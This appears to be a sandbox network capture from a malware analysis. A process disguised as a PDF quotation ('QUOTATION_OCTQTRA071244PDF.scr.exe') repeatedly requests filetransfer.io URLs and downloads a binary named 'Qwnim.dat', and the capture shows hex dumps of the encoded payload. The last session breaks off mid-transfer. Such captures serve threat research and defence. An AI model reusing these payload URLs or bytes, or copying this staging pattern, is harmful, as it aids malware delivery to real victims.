52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49957	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:03 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:04 UTC	1066	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=i5nuhl35pf0ft7leuo4nkoj96j; expires=Fri, 18-Oct-2024 09:24:04 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/KrgAyDYAYOu9 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PfwCwlObmc9snu2v99koZNwCwuBf2FzNwY8ib5IDhyail1VGFInxKIsXxP5CwPnInrho1ojxBvtdKRQ6lJveBjXybhh4dNdvxR8mE6%2FFolKs1%2FIsb3EG%2FKIKVw2cbBSQVVQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41de38e7342dd-EWR
2024-10-04 09:24:04 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 4b 72 67 41 79 44 59 41 59 4f 75 39 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/KrgAyDYAYOu9">Please click here to continue</a>.</p>
2024-10-04 09:24:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49967	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:05 UTC	98	OUT	GET /storage/download/KrgAyDYAYOu9 HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:05 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:05 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=062d15e19ff07a4a46620b516871ede4; expires=Fri, 18-Oct-2024 09:24:05 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=av8agdir4KxO58VpA9KCIkmyOqURz7GIMjzb0rKw8vX2mDXEH9351Nrh7Gm%2BxSvzKeC1Kio4uqrYHShZc6C4elPGxeZpsK4smjCbcnT39xvmrCiyJuRpxm5WyqOnCIdhJNw%2F9Z6a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41debbd7c41df-EWR
2024-10-04 09:24:05 UTC	351	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e cd 6d Data Ascii: $)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^nm
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 6a 5d Data Ascii: xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`j]
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 cd cc Data Ascii: J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d 9d b3 Data Ascii: =5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 ac 65 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)Pe
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 9b 95 Data Ascii: S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d a7 6f Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=o
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 06 92 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:24:05 UTC	1369	IN	Data Raw: 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 b8 53 Data Ascii: %k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49990	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:09 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:10 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=bpgq4sgu0fuoehdbk3fs69askm; expires=Fri, 18-Oct-2024 09:24:10 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/XKE7H4fnB1y6 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2J0rddrDh2LAlCfRQp4X80zsJ6KQW%2BBNI%2F034ESgirhChb6dvsmJsB8hMEy84%2Brvoo1lo0zDIp6FJg9c2uvXUsJx1P8RaOGR4oSHGxU8ueNWqraW2x5%2F6foOEkP3BU2F97g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e081cef8cc3-EWR
2024-10-04 09:24:10 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 58 4b 45 37 48 34 66 6e 42 31 79 36 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/XKE7H4fnB1y6">Please click here to continue</a>.</p>
2024-10-04 09:24:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50001	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:10 UTC	98	OUT	GET /storage/download/XKE7H4fnB1y6 HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:11 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:11 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=669bd2150ebe5e5ae75de4273732f94b; expires=Fri, 18-Oct-2024 09:24:11 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lBK1MMDg%2FgPB%2BU2Gxz5oAOWhJIxIdgzmdYZbWfqnKFQ8fGZDmDT0bXjSJV4zK8tHdh%2F6CbAwtu1aOulntMp7SsiFDTLsU2RO77mN1NKco6BdixjeAz%2Bsa7iaNW4X9obxPmiS%2Fbb4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41e1058eb8cbd-EWR
2024-10-04 09:24:11 UTC	345	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da Data Ascii: K>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb Data Ascii: wH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:24:11 UTC	1369	IN	Data Raw: dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 Data Ascii: 